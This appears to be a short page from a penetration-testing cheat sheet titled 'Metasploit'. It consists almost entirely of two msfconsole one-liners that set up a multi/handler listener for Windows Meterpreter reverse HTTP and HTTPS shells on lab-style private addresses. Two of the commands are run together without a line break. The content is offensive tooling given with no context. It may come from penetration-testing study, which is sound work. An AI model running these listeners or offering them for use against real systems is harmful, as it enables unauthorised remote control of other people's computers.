Metasploit
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_http; set LHOST 192.168.49.86; set LPORT 8080; exploit"sudo msfconsole -q -x "use exploit/multi/handler;\
set PAYLOAD windows/x64/meterpreter/reverse_https;\
set LHOST 192.168.49.156; set LPORT 443; exploit"
Last updated